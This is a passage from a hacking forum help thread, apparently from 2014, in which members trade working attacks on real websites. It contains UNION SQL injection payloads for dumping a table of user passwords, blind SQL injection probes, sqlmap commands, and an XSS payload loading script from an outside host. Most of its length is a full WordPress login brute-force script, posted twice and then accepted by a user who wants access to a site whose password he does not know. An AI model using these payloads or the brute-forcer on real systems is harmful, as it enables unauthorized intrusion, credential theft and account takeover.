1,concat(AgentID,0x3a,AgencyName,0x3a>Password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86 FROM data.tbldagents--
```

I am trying to get out all of that in query but I can't seem to figure out how to take it all.

Any ideas?

Take a look at [this tutorial](#) written by arkajo.

With your example, something like this should work:

```
Code UNION SELECT 1,(select(@) from(select(@:=0x00) ,(select (@) from(data.tbldagents)where(@) in (@:=concat(@,0x0a,AgentID,0x3a,AgencyName,0x3a>Password,0x3c62723e))))a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86--
```

SHADOW REALM - January 24, 2014, 5:43 am

(Jan 24, 2014 06:36 AM)JoinSeventh Wrote: [\[CITE\]](#) Take a look at [this tutorial](#) written by arkajo.

With your example, something like this should work:

```
Code UNION SELECT 1,(select(@) from(select(@:=0x00) ,(select (@)
from(data.tblagents)where(@) in
(@:=concat(@,0x0a,AgentID,0x3a,AgencyName,0x3a>Password,0x3c62723e))))a),3,4,5,6,7,8,9,10,
11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42
,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,7
4,75,76,77,78,79,80,81,82,83,84,85,86--
```

It doesn't display the "password" column, I have made a thread about it here

<https://hackforums.net/showthread.php?tid=4017366>

If you want to take a look

Hooded Robin - January 24, 2014, 9:59 am

You can always just use limit to enumerate them one by one or within a given range if you can't dump them all in one shot...or just try to shell the damn site and export the entire db without all the pain ;)

BroloTaco - January 24, 2014, 12:45 pm

Its cool you guys spend time helping people, if I ever need help this will be the first place I stop :)

LijpeMD - January 26, 2014, 5:39 am

Does every website have a vulnerability which you can exploit? And with every website I also talk about Google.

BeggFoMercy - January 26, 2014, 6:48 am

(Jan 26, 2014 06:39 AM)Pres?dent Wrote: [\[CITE\]](#) Does every website have a vulnerability which you can exploit? And with every website I also talk about Google. Everything is vulnerable , you just need to find the way of finding the vulnerability which costs experience .

About Google , It's just the matter of the percentage of you finding a vulnerability which depends on how secure it is.

darkfire - January 27, 2014, 10:29 pm

(Jan 24, 2014 12:03 AM)?ibitximer Wrote: [\[CITE\]](#) So I've got a DB and it has over 9.5k entries and I'm trying to get it all out and then I hit the 1024 char limit

UNION SELECT

```
1,concat(AgentID,0x3a,AgencyName,0x3a>Password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,2
0,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,
52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83
,84,85,86 FROM data.tblagents--
```

I am trying to get out all of that in query but I can't seem to figure out how to take it all.

Any ideas?

As far as I know they were made to be 100% secure and I don't think anyone can bypass them
tnx for ur reply.i hope i can bypass it. ????

Th3PonyWizard - January 31, 2014, 1:39 am

I'll let the better help desk a little push :3

Evanescant - February 1, 2014, 3:25 am

Hello,

When i scanned a site in BurpSuite and found that it was vuln to bsqli(HTTP referer) and when i loaded teh content in sqlmap for exploitation it is saying "false positive or unexploitable injection point detected" whilst i confirmed it also from acunetix. For privacy i couldn't mention it here hoping to get help from you.

P.S : My command was

Quote:python sqlmap.py -u <url> --level=3 --technique=T[as it is time based] --dbms=Oracle --referer=<payload> --dbs

Thanks.

BeggFoMercy - February 1, 2014, 4:33 am

(Feb 1, 2014 04:25 AM)Evanescent Wrote: [\[CITE\]](#) Hello,

When i scanned a site in BurpSuite and found that it was vuln to bsqli(HTTP referer) and when i loaded teh content in sqlmap for exploitation it is saying "false positive or unexploitable injection point detected" whilst i confirmed it also from acunetix. For privacy i couldn't mention it here hoping to get help from you.

P.S : My command was

Thanks.False positives = Fake alarms
Inject it manually with your own hands , If it went all correct then the mistake was caused by the scanning tool (BS) , Acunetix .

If not then It's a false positive alarm which is a fake alarm .

darkfire - February 3, 2014, 1:23 am

(Jan 31, 2014 02:39 AM)Th3PonyWizard Wrote: [\[CITE\]](#) I'll let the better help desk a little push :3 :)

can u plz help me to bypass dvwa xss in high security

rahool - February 3, 2014, 8:53 am

show me the right direction bro

<https://hackforums.net/showthread.php?tid=4034217>

Th3PonyWizard - February 5, 2014, 12:02 pm

(Feb 3, 2014 09:53 AM)rahool Wrote: [\[CITE\]](#) show me the right direction bro
<https://hackforums.net/showthread.php?tid=4034217> Answered. You gotta realize these exploits just automate a sequence of actions you can form yourself assuming it's an HTTP-based one.

Black White - February 6, 2014, 7:32 am

Sounds promising, good luck in your ventures.

Koni - February 6, 2014, 10:58 am

Hi, could you take a look at this please

<https://hackforums.net/showthread.php?tid=4039234>

If you need any additional information regarding any of the webapps, i will do my best to provide it

SHADOW REALM - February 10, 2014, 11:52 pm

Any idea of why this XSS isn't working?

POST DATA

Spoiler [\(Click to View\)](#)

Page Source

Spoiler [\(Click to View\)](#)

Also this one as well,

Page + Source all in one

Spoiler [\(Click to View\)](#)

cheatson - February 11, 2014, 5:53 am

(Feb 11, 2014 12:52 AM)SHADOW REALM Wrote: [\[CITE\]](#) Any idea of why this XSS isn't working?

POST DATA

Spoiler [\(Click to View\)](#)

Page Source

Spoiler [\(Click to View\)](#)

Also this one as well,

Page + Source all in one

Spoiler [\(Click to View\)](#)Case-sensitive. Inject an external js file:

PHP Code

<?php

<SCRIPT SRC=http://dfu123.comule.com/test.js></SCRIPT>

That's not case-sensitive

Th3PonyWizard - February 11, 2014, 7:18 am

Updated members list with people I somehow didn't add before o-o'. If I forgot anybody lemme know.

XizTheGod - February 11, 2014, 9:03 am

Epic win, bro. Team Intra is the best hacking team on the planet!

egyptghost - February 12, 2014, 3:50 am

how to change facebook page name it has 250.000 ?

Naww - March 17, 2014, 7:15 pm

Well i donno if this still but u know "yolo" anyway, my question is 'Can i do a "where" clause in a Bsqli?'

Like thru a Bsqli i want to know the users where "type" = 1 .

Thnx in advance.

pwntoken - March 17, 2014, 7:47 pm

This isn't my question, a friend had asked this. I am still stumbling upon this,.

The lame browser attack:

How will you exploit this piece of code:

Code `<input type="hidden" value="userinput" name="leet" />`

The value of the parameter leet is userinput on jsp or asp or php page and saved as response in HTML hidden parameter leet value..

but application wont process the user input if it is checks for any of these below three characters:

- a) "
- b) <
- C) >

Never mind, but I posted a thread here:

Code <https://hackforums.net/showthread.php?tid=4120049>

and I have no idea what this forum is for if none of the thread get's answered.

Naww - March 17, 2014, 10:07 pm

(Mar 17, 2014 07:15 PM)Naww Wrote: [\[CITE\]](#) Well i donno if this still but u know "yolo" anyway, my question is 'Can i do a "where" clause in a Bsqli?'

Like thru a Bsqli i want to know the users where "type" = 1 .

Thnx in advance.

Well after searching and testing around i conclude that of course u can use "where type =1 as long after that is something like this

Code `and (select 1 FROM logins where Type=1 limit 0,1)=1`

But with dat u only know dat in the table logins there are some users who are "type 1" users, u cant actualy see dem lol (dats wut i wanted) any GG learned something xD

Th3PonyWizard - July 9, 2014, 5:00 am

This is still a thing by the way. Kinda dead.

Impress. - July 9, 2014, 5:14 am

(Jul 9, 2014 05:00 AM)Th3PonyWizard Wrote: [\[CITE\]](#) This is still a thing by the way. Kinda dead. This thread have been here for a while now :P

Hope to see some acitvity here:O

PRNDL - July 9, 2014, 11:51 am

this question is directed at thponwizard

r u gay

Th3PonyWizard - July 9, 2014, 12:31 pm

(Jul 9, 2014 11:51 AM)PRNDL Wrote: [\[CITE\]](#) this question is directed at thponwizard

r u gayto answer to that detailed question
I'm bi

rudeman - July 9, 2014, 12:37 pm

If I PM you a wp login can you help me get access to it? I know the 2 usernames on the site.

Hooded Robin - July 9, 2014, 6:26 pm

do you know the password(s) too or were you just looking for help bruteforcing things?

Spoiler ([Click to View](#))

My wp_bruter.py script:

Code `#!/usr/bin/env python`

```
#  
# WordPress Login Bruter  
# By: Hood3dRob1n  
#  
# Fucking Python Bitches, I know, i'm still learning please forgive me ugly code.....  
#
```

```
import optparse, os, Queue, random, re, requests, sys, threading  
from urlparse import urlparse
```

```
def banner():  
    """0x1337 Banner"""  
    cls()  
    print "\nWordPress Login Bruter\nBy: Hood3dRob1n\n"
```

```
def cls():  
    """Clears Terminal"""  
    os.system('clear')
```

```
def user_agent_select():  
    """  
    Sets Global VAR 'user_agent' with UA String as value  
    Also Returns the random user-agent string  
    """  
    agents = [ 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2;  
SV1; .NET CLR 3.3.69573; WOW64; en-US)', 'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X)  
AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25',  
'Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko)  
Chrome/29.0.1547.57 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0)  
Gecko/20100101 Firefox/24.0', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331  
Firefox/21.0', 'Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0  
Iceweasel/17.0.1', 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)', 'Mozilla/5.0 (compatible;  
MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64;  
en-US)', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', 'Mozilla/5.0  
(compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)', 'Opera/9.80 (Windows NT 6.1; U;  
es-ES) Presto/2.9.181 Version/12.00' ]  
    index = random.randrange(0, len(agents), 1)  
    agent = agents[index]  
    return str( agent )
```

```

def login_check(url, user, password, queue):
    """
    Attempts to authenticate with provided credentials
    Designed to be called from threading in fast_fetch() below
    """
    host = urlparse(url).hostname
    redirect = "/" + ".".join(url.split('/')[0:-1]) + "/wp-admin"
    data = { 'log': user, 'pwd': password, 'wp-submit': 'Log+In', 'redirect_to': redirect, 'testcookie': 1 }
    headers = { 'User-agent' : user_agent_select() }
    res = requests.post(url, data=data, headers=headers, allow_redirects=True, timeout=30.0,
verify=False)
    rez = { password: res }
    queue.put(rez)

def fast_fetch(url, user, array_of_passwords):
    """Use threading to attempt logins
    Returns hash array or dictionary with results: { url: responseobject }"""
    results={}
    result = Queue.Queue()
    threads = [threading.Thread(target=login_check, args = (url, user, passwd, result)) for passwd in
array_of_passwords]
    for t in threads:
        t.start()
    for t in threads:
        t.join()
    response = result.get()
    for k, v in response.iteritems():
        if k not in results.keys():
            results[k] = v
    print ""
    return results

# Parse Arguments/Options
parser = optparse.OptionParser(banner(), version="%prog v0.01b")
parser.add_option("-t", "--target", dest="url", default=None, type="string", help="URL to WordPress
Administrative Login Page")
parser.add_option("-u", "--username", dest="username", default='admin', type="string",
help="Username to Use for Authentication")
parser.add_option("-p", "--password", dest="password", default='admin', type="string", help="Single
Password to Use")
parser.add_option("-P", "--passfile", dest="passfile", default=None, type="string", help="Load
Multiple Passwords from File")
parser.add_option("-v", action="count", default=0, dest="verbose", help="Enable Verbose Output")

(options, args) = parser.parse_args()

# Make sure we got arguments
args = sys.argv[1:]
if not args:
    parser.print_help()
    sys.exit()

```

```

if options.url == None:
    print "\n[*] Need to provide a target!\n"
    sys.exit()

if options.username == None:
    print "\n[*] Need to provide a username to authenticate as!\n"
    sys.exit()

if options.password == None and options.passfile == None:
    print "\n[*] Need to provide a password or password file to attempt authentication!\n"
    sys.exit()

# Password File?
if options.passfile != None:
    # Confirm we can load the provided passfile
    if os.path.isfile(options.passfile):
        if os.access(options.passfile, os.R_OK):
            passwords=[]
            fh=open(options.passfile)
            for line in fh:
                if line.strip() not in passwords:
                    passwords.append(line.strip())
            else:
                print "Error: Unable to access provided passfile: %s" % options.wordlist
                print "Can't continue without a valid password or passfile...\n\n"
                sys.exit()
        else:
            print "Error: Unable to locate provided passfile: %s" % options.wordlist
            print "Can't continue without a valid password or passfile...\n\n"
            sys.exit()
    else:
        passwords=[options.password]

username = options.username
verbose = options.verbose
target = options.url

def main():
    try:
        found=False
        auth_cookies=[]
        print "Starting authentication attempts, hang tight...."
        while len(passwords) > 0:
            if auth_cookies:
                break
            test_passes=[]
            if len(passwords) < 10:
                num=len(passwords)
            else:
                num=9
            for i in range(0, num):
                test_passes.append(passwords.pop())
            results = fast_fetch(target, username, test_passes)

```

```

    for passwd, responseobj in results.iteritems():
        if (responseobj.status_code == 200 and re.findall('/wp-admin', str(responseobj.headers))) or
            ((responseobj.status_code == 301 or responseobj.status_code == 302) and 'wp-admin' in
            responseobj.headers['Location']):
            print "w00t - Successfully Authenticated to WordPress!"
            print "#####"
            print "Target: %s" % target
            print "Username: %s" % username
            print "Password: %s" % passwd
            print "Auth Cookies:"
            for i in responseobj.headers["Set-Cookie"].split(','):
                print "  %s" % i.lstrip().strip()
            print "#####"
            fh=open('wp_logins.txt', 'a+')
            fh.write("#####\n")
            fh.write("Target: %s\n" % target)
            fh.write("Username: %s\n" % username)
            fh.write("Password: %s\n" % passwd)
            fh.write("Auth Cookies: \n")
            for i in responseobj.headers["Set-Cookie"].split(','):
                fh.write("  %s\n" % i.lstrip().strip())
            fh.write("#####\n")
            fh.close()
            found=True

except KeyboardInterrupt:
    print "[WARNING] CTRL+C Detected, Shutting Down...\n\n"
    sys.exit(666)
except EOFError:
    print "[EOF ERROR] Shutting Things Down...\n\n"
except SystemExit:
    pass
except:
    e = sys.exc_info()
    print "[ERROR Detected] Shutting Things Down..."
    for error in e:
        print "  " + str(error)
finally:
    e = sys.exc_info()[1]
    if e != None and e != 0 and e != '0':
        print "  " + str(e)
    if found:
        print "Glad to be of service, have a nice day!\n\n"
    else:
        print "\nSorry, no luck authenticating with provided credentials!\n\n"
    sys.exit(0)

if __name__ == '__main__':
    main()

#EOF

```

(Jul 9, 2014 06:26 PM)Hooded Robin Wrote: [\[CITE\]](#) do you know the password(s) too or were you just looking for help bruteforcing things?

Spoiler ([Click to View](#))

My wp_bruter.py script:

```
Code #!/usr/bin/env python
```

```
#
# WordPress Login Bruter
# By: Hood3dRob1n
#
# Fucking Python Bitches, I know, i'm still learning please forgive me ugly code.....
#
```

```
import optparse, os, Queue, random, re, requests, sys, threading
from urlparse import urlparse
```

```
def banner():
    """0x1337 Banner"""
    cls()
    print "\nWordPress Login Bruter\nBy: Hood3dRob1n\n"
```

```
def cls():
    """Clears Terminal"""
    os.system('clear')
```

```
def user_agent_select():
    """
    Sets Global VAR 'user_agent' with UA String as value
    Also Returns the random user-agent string
    """
    agents = [ 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2;
SV1; .NET CLR 3.3.69573; WOW64; en-US)', 'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X)
AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25',
'Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/29.0.1547.57 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0)
Gecko/20100101 Firefox/24.0', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331
Firefox/21.0', 'Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0
Iceweasel/17.0.1', 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)', 'Mozilla/5.0 (compatible;
MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64;
en-US)', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', 'Mozilla/5.0
(compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)', 'Opera/9.80 (Windows NT 6.1; U;
es-ES) Presto/2.9.181 Version/12.00' ]
    index = random.randrange(0, len(agents), 1)
    agent = agents[index]
    return str( agent )
```

```
def login_check(url, user, password, queue):
    """
    Attempts to authenticate with provided credentials
    Designed to be called from threading in fast_fetch() below
    """
    host = urlparse(url).hostname
    redirect = "/" + url.split('/')[0:-1] + "/wp-admin"
```

```

data = { 'log': user, 'pwd': password, 'wp-submit': 'Log+In', 'redirect_to': redirect, 'testcookie': 1 }
headers = { 'User-agent' : user_agent_select() }
res = requests.post(url, data=data, headers=headers, allow_redirects=True, timeout=30.0,
verify=False)
rez = { password: res }
queue.put(rez)

```

```

def fast_fetch(url, user, array_of_passwords):
    """Use threading to attempt logins
    Returns hash array or dictionary with results: { url: responseobject }"""
    results={}
    result = Queue.Queue()
    threads = [threading.Thread(target=login_check, args = (url, user, passwd, result)) for passwd in
array_of_passwords]
    for t in threads:
        t.start()
    for t in threads:
        t.join()
    response = result.get()
    for k, v in response.iteritems():
        if k not in results.keys():
            results[k] = v
    print ""
    return results

```

```

# Parse Arguments/Options
parser = optparse.OptionParser(banner(), version="%prog v0.01b")
parser.add_option("-t", "--target", dest="url", default=None, type="string", help="URL to WordPress
Administrative Login Page")
parser.add_option("-u", "--username", dest="username", default='admin', type="string",
help="Username to Use for Authentication")
parser.add_option("-p", "--password", dest="password", default='admin', type="string", help="Single
Password to Use")
parser.add_option("-P", "--passfile", dest="passfile", default=None, type="string", help="Load
Multiple Passwords from File")
parser.add_option("-v", action="count", default=0, dest="verbose", help="Enable Verbose Output")

```

```

(options, args) = parser.parse_args()

```

```

# Make sure we got arguments
args = sys.argv[1:]
if not args:
    parser.print_help()
    sys.exit()

```

```

if options.url == None:
    print "\n[*] Need to provide a target!\n"
    sys.exit()

```

```

if options.username == None:
    print "\n[*] Need to provide a username to authenticate as!\n"
    sys.exit()

```



```

print "Password: %s" % passwd
print "Auth Cookies:"
for i in responseobj.headers["Set-Cookie"].split(','):
    print "  %s" % i.lstrip().strip()
print "#####"
fh=open('wp_logins.txt', 'a+')
fh.write("#####\n")
fh.write("Target: %s\n" % target)
fh.write("Username: %s\n" % username)
fh.write("Password: %s\n" % passwd)
fh.write("Auth Cookies: \n")
for i in responseobj.headers["Set-Cookie"].split(','):
    fh.write("  %s\n" % i.lstrip().strip())
fh.write("#####\n")
fh.close()
found=True

```

```

except KeyboardInterrupt:
    print "[WARNING] CTRL+C Detected, Shutting Down...\n\n"
    sys.exit(666)
except EOFError:
    print "[EOF ERROR] Shutting Things Down...\n\n"
except SystemExit:
    pass
except:
    e = sys.exc_info()
    print "[ERROR Detected] Shutting Things Down..."
    for error in e:
        print "  " + str(error)
finally:
    e = sys.exc_info()[1]
    if e != None and e != 0 and e != '0':
        print "  " + str(e)
    if found:
        print "Glad to be of service, have a nice day!\n\n"
    else:
        print "\nSorry, no luck authenticating with provided credentials!\n\n"
    sys.exit(0)

```

```

if __name__ == '__main__':
    main()

```

#EOF

I don't know the pass, thanks for the script.